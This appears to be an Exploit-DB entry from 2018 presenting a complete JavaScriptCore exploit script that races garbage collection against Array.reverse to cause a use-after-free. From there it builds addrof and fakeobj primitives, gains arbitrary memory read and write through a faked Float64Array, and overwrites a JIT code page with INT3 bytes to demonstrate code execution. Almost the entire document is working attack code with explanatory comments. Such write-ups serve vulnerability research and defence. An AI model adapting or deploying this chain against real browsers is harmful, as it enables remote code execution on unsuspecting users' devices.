JavaScript Core – Arbitrary Code Execution

  • 作者: ret2
    日期: 2018-07-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45048/
  • // Load Int library, thanks saelo!
    load('util.js');
    load('int64.js');
    
    
    // Helpers to convert from float to in a few random places
    var conva = new ArrayBuffer(8);
    var convf = new Float64Array(conva);
    var convi = new Uint32Array(conva);
    var convi8 = new Uint8Array(conva);
    
    var floatarr_magic = new Int64('0x3131313131313131').asDouble();
    var floatarr_magic = new Int64('0x3131313131313131').asDouble();
    var jsval_magic = new Int64('0x3232323232323232').asDouble();
    
    var structs = [];
    
    function log(x) {
    print(x);
    }
    
    // Look OOB for array we can use with JSValues
    function findArrayOOB(corrupted_arr, groom) {
    log("Looking for JSValue array with OOB Float array");
    for (let i = 0; i<corrupted_arr.length; i++) {
    convf[0] = corrupted_arr[i];
    
    // Find the magic value we stored in the JSValue Array
    if (convi[0] == 0x10) {
    convf[0] = corrupted_arr[i+1];
    if (convi[0] != 0x32323232)
    continue;
    
    // Change the first element of the array
    corrupted_arr[i+1] = new Int64('0x3131313131313131').asDouble();
    
    let target = null;
    // Find which array we modified
    for (let j = 0; j<groom.length; j++) {
    if (groom[j][0] != jsval_magic) {
    target = groom[j];
    break
    }
    }
    
    log("Found target array for addrof/fakeobj");
    
    // This object will hold our primitives
    let prims = {};
    
    let oob_ind = i+1;
    
    // Get the address of a given jsobject
    prims.addrof = function(x) {
    // To do this we put the object in the jsvalue array and
    // access it OOB with our float array
    target[0] = x;
    return Int64.fromDouble(corrupted_arr[oob_ind]);
    }
    
    // Return a jsobject at a given address
    prims.fakeobj = function(addr) {
    // To do this we overwrite the first slot of the jsvalue array
    // with the OOB float array
    corrupted_arr[oob_ind] = addr.asDouble();
    return target[0];
    }
    
    return prims;
    }
    }
    }
    
    // Here we will spray structure IDs for Float64Arrays
    // See http://www.phrack.org/papers/attacking_javascript_engines.html
    function sprayStructures() {
    function randomString() {
    return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5);
    }
    // Spray arrays for structure id
    for (let i = 0; i < 0x1000; i++) {
    let a = new Float64Array(1);
    // Add a new property to create a new Structure instance.
    a[randomString()] = 1337;
    structs.push(a);
    }
    }
    
    
    // Here we will create our fake typed array and get arbitrary read/write
    // See http://www.phrack.org/papers/attacking_javascript_engines.html
    function getArb(prims) {
    sprayStructures()
    
    let utarget = new Uint8Array(0x10000);
    utarget[0] = 0x41;
    
    // Our fake array
    // Structure id guess is 0x200
    // [ Indexing type = 0 ][ m_type = 0x27 (float array) ][ m_flags = 0x18 (OverridesGetOwnPropertySlot) ][ m_cellState = 1 (NewWhite)]
    let jscell = new Int64('0x0118270000000200');
    
    // Construct the object
    // Each attribute will set 8 bytes of the fake object inline
    obj = {
    'a': jscell.asDouble(),
    
    // Butterfly can be anything
    'b': false,
    
    // Target we want to write to
    'c': utarget,
    
    // Length and flags
    'd': new Int64('0x0001000000000010').asDouble()
    };
    
    
    // Get the address of the values we stored in obj
    let objAddr = prims.addrof(obj).add(16);
    log("Obj addr + 16 = "+objAddr);
    
    // Create a fake object from this pointer
    let fakearray = prims.fakeobj(objAddr);
    
    // Attempt to find a valid ID for our fake object
    while(!(fakearray instanceof Float64Array)) {
    jscell.add(1);
    obj['a'] = jscell.asDouble();
    }
    
    log("Matched structure id!");
    
    // Set data at a given address
    prims.set = function(addr, arr) {
    fakearray[2] = addr.asDouble();
    utarget.set(arr);
    }
    
    // Read 8 bytes as an Int64 at a given address
    prims.read64 = function(addr) {
    fakearray[2] = addr.asDouble();
    let bytes = Array(8);
    for (let i=0; i<8; i++) {
    bytes[i] = utarget[i];
    }
    return new Int64(bytes);
    }
    
    // Write an Int64 as 8 bytes at a given address
    prims.write64 = function(addr, value) {
    fakearray[2] = addr.asDouble();
    utarget.set(value.bytes);
    }
    }
    
    // Here we will use build primitives to eventually overwrite the JIT page
    function exploit(corrupted_arr, groom) {
    save.push(groom);
    save.push(corrupted_arr);
    
    // Create fakeobj and addrof primitives
    let prims = findArrayOOB(corrupted_arr, groom);
    
    // Upgrade to arb read/write from OOB read/write
    getArb(prims);
    
    // Build an arbitrary JIT function
    // This was basically just random junk to make the JIT function larger
    let jit = function(x) {
    var j = []; j[0] = 0x6323634;
    return x*5 + x - x*x /0x2342513426 +(x - x+0x85720642 *(x +3 -x / x+0x41424344)/0x41424344)+j[0]; };
    
    // Make sure the JIT function has been compiled
    jit();
    jit();
    jit();
    
    // Traverse the JSFunction object to retrieve a non-poisoned pointer
    log("Finding jitpage");
    let jitaddr = prims.read64(
    prims.read64(
    prims.read64(
    prims.read64(
    prims.addrof(jit).add(3*8)
    ).add(3*8)
    ).add(3*8)
    ).add(5*8)
    );
    log("Jit page addr = "+jitaddr);
    
    // Overwrite the JIT code with our INT3s
    log("Writting shellcode over jit page");
    prims.set(jitaddr.add(32), [0xcc, 0xcc, 0xcc, 0xcc]);
    
    // Call the JIT function, triggering our INT3s
    log("Calling jit function");
    jit();
    
    throw("JIT returned");
    }
    
    
    // Find and set the length of a non-freed butterfly with our unstable OOB primitive
    function setLen(uaf_arr, ind) {
    let f=0;
    for (let i=0; i<uaf_arr.length; i++) {
    convf[0] = uaf_arr[i];
    
    // Look for a new float array, and set the length
    if (convi[0] == 0x10) {
    convf[0] = uaf_arr[i+1];
    if (convi[0] == 0x32323232 && convi[1] == 0x32323232) {
    convi[0] = 0x42424242;
    convi[1] = 0x42424242;
    uaf_arr[i] = convf[0];
    return;
    }
    }
    }
    
    throw("Could not find anouther array to corrupt");
    }
    
    
    let oob_rw_unstable = null;
    let oob_rw_unstable_ind = null;
    let oob_rw_stable = null;
    
    // After this point we would stop seeing GCs happen enough to race :(
    const limit = 10;
    const butterfly_size = 32
    
    let save = [0, 0]
    
    for(let at = 0; at < limit; at++) {
    log("Trying to race GC and array.reverse() Attempt #"+(at+1));
    
    // Allocate the initial victim and target arrays
    let victim_arrays = new Array(2048);
    let groom= new Array(2048);
    for (let i=0; i<victim_arrays.length; i++) {
    victim_arrays[i] = new Array(butterfly_size).fill(floatarr_magic)
    groom[i] = new Array(butterfly_size/2).fill(jsval_magic)
    }
    
    let vv = [];
    letv = []
    
    // Allocate large strings to trigger the GC while calling reverse
    for (let i = 0; i < 506; i++) {
    for(let j = 0; j < 0x100; j++) {
    // Cause GCs to trigger while we are racing with reverse
    if (j == 0x44) { v.push(new String("B").repeat(0x10000*save.length/2)) }
    victim_arrays.reverse()
    }
    }
    
    for (let i = 0; i < victim_arrays.length; i++) {
    
    // Once we see we have replaced a free'd butterfly
    // fill the replacing array with 0x41414141... to smash rest
    // of UAF'ed butterflies
    
    // We know the size will be 506, because it will have been replaced with v
    // we were pushing into in the loop above
    
    if(victim_arrays[i].length == 506) {
    victim_arrays[i].fill(2261634.5098039214)
    }
    
    // Find the first butterfly we have smashed
    // this will be an unstable OOB r/w
    
    if(victim_arrays[i].length == 0x41414141) {
    oob_rw_unstable = victim_arrays[i];
    oob_rw_unstable_ind = i;
    break;
    }
    }
    
    // If we successfully found a smashed and still freed butterfly
    // use it to corrupt a non-freed butterfly for stability
    
    if(oob_rw_unstable) {
    
    setLen(oob_rw_unstable, oob_rw_unstable_ind)
    
    for (let i = 0; i < groom.length; i++) {
    // Find which array we just corrupted
    if(groom[i].length == 0x42424242) {
    oob_rw_stable = groom[i];
    break;
    }
    }
    if (!oob_rw_stable) {
    throw("Groom seems to have failed :(");
    }
    }
    
    // chew CPU to avoid a segfault and help with gc schedule
    for (let i = 0; i < 0x100000; i++) { }
    
    
    // Attempt to clean up some
    let f = []
    for (let i = 0; i < 0x2000; i++) {
    f.push(new Array(16).fill(2261634.6098039214))
    }
    
    save.push(victim_arrays)
    save.push(v)
    save.push(f)
    save.push(groom)
    
    if (oob_rw_stable) {
    log("Found stable corrupted butterfly! Now the fun begins...");
    exploit(oob_rw_stable, groom);
    break;
    }
    
    }
    throw("Failed to find any UAF'ed butterflies");